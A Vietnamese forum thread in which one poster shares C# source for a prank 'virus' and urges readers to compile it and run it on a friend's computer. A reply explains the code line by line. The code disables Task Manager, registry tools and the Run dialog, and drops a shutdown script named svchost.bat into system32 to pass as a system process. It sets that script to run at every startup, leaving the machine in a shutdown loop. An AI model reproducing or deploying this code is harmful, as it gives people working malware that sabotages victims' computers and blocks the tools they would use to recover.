Nếu đây là lần đầu tiên bạn tham gia diễn đàn, xin mời bạn xem phần Hỏi/Ðáp để biết cách dùng diễn đàn. Để có thể tham gia thảo luận bạn phải đăng ký làm thành viên, click vào đây để đăng ký.
Level: 35 [?]
Experience: 777,781
Next Level: 824,290
Cảm ơn 85
Cảm ơn 258 lần / 156 Bài viết
[Hot]Chương Trình Ứng Dụng
Đây là chương trình viết bằng C# class nhé.
Mình đã để thằng bạn mình test rồi,Các bạn cứ yên tâm.Không có lỗi gì đâu.
Đừng mà debug nhé.
Không là khó mà cứu vãn.
Tính năng của nó là :
- Khóa taskbar
-Regedit
- Khóa chuột phải
........................
Nói tóm lại là cự bật máy nó lại tắt,
code đây , các bạn đóng gói exe lại nhé ! rồi cho bạn mình test
Code:
using System;using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;
namespace TracNghiemCsharp
{
class Program
{
static void Main(string[] args)
{
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoRun", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system", "DisableRegistryTools", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\system", "DisableTaskMgr", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoViewContextMenu", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\policies\Explorer", "NoFolderOptions", 1, Microsoft.Win32.RegistryValueKind.DWord);
Registry.SetValue(@"HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner", "Mr.Tin", 1, Microsoft.Win32.RegistryValueKind.DWord);
StreamWriter sw = new StreamWriter("C:\\windows\\system32\\svchost.bat");
string s = "shutdown/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34;
sw.Write(s.ToString());
sw.Close();
foreach (Process proc in Process.GetProcesses())
{
if (proc.ProcessName == "explorer") proc.Kill();
}
System.Diagnostics.Process.Start("explorer.exe");
System.Diagnostics.Process.Start("shutdown", "/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34);
Registry.SetValue("HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Run", "svchost", "C:\\windows\\system32\\svchost.bat", Microsoft.Win32.RegistryValueKind.String);
Console.Write("Chuc Mung Ban Dinh Con Virus Con Gio ");
Console.ReadLine();
}
}
}
Level: 41 [?]
Experience: 2,418,378
Next Level: 2,530,022
Cảm ơn 450
Cảm ơn 478 lần / 344 Bài viết
Nguyên văn bởi loctinh2030
anh có thể giải thích từng dòng code cho em được không anh.
using System;using System.Collections.Generic;
using System.Linq;
using System.Text;
using Microsoft.Win32;
using System.IO;
using System.Diagnostics;
Đây là bước load module hệ thống để sử dụng. Code này là C# nên cần load .net.
Nhìn vào using System.Linq; thì biết cậu này code bằng visual 2008 hoặc 2010
Ví dụ:
Bên dưới có dòng System.Diagnostics.Process.Start("explorer.exe");
Nếu phía trên không có using System.Diagnostics; thì phải gõ nguyên dòng System.Diagnostics.Process.Start("explorer.exe"); để chạy Process.Start(). Tuy nhiên ở trên đã có using System.Diagnostics; nên thực tế chỉ cần gõ Process.Start("explorer.exe"); là chạy được rồi.
Cái này là tạo key trong registry
tại khóa HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\policies\Explorer, sẽ tạo một key mới với tên là NoRun có giá trị 1, kiểu dữ liệu là DWord
Mấy dòng dưới tương tự.
StreamWriter sw = new StreamWriter("C:\\windows\\system32\\svchost.bat") ;
string s = "shutdown/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34;
sw.Write(s.ToString());
sw.Close();
StreamWriter sw = new StreamWriter("C:\\windows\\system32\\svchost.bat") ;
sw.Write(s.ToString());
sw.Close();
Tạo một file svchost.bat trong thư mục system32
Bên trong file svchost.bat có nội dung shutdown/s /f /t 0300 /c "Tu dong tat may sau 300 giay"
Cái char(34) là để ghi dấu " vào thôi.
foreach (Process proc in Process.GetProcesses()) =>tìm trong process
{
if (proc.ProcessName == "explorer") proc.Kill(); => có cái nào tên là "explorer" thì tắt nó đi
}
System.Diagnostics.Process.Start("explorer.exe"); => khởi động lại explorer
System.Diagnostics.Process.Start("shutdown", "/s /f /t 0300 /c " + (char)34 + "Tu dong tat may sau 300 giay" + (char)34); => Shutdown máy
Registry.SetValue("HKEY_CURRENT_USER\\Software\\Mi crosoft\\Windows\\CurrentVersion\\Run", "svchost",
"C:\\windows\\system32\\svchost.bat", Microsoft.Win32.RegistryValueKind.String);=>ghi file svchost cho nó tự động chạy mỗi khi khởi động máy
Console.Write("Chuc Mung Ban Dinh Con Virus Con Gio "); => Xuất ra dòng chữChuc Mung Ban Dinh Con Virus Con Gio
Console.ReadLine();
}
}
Bookmarks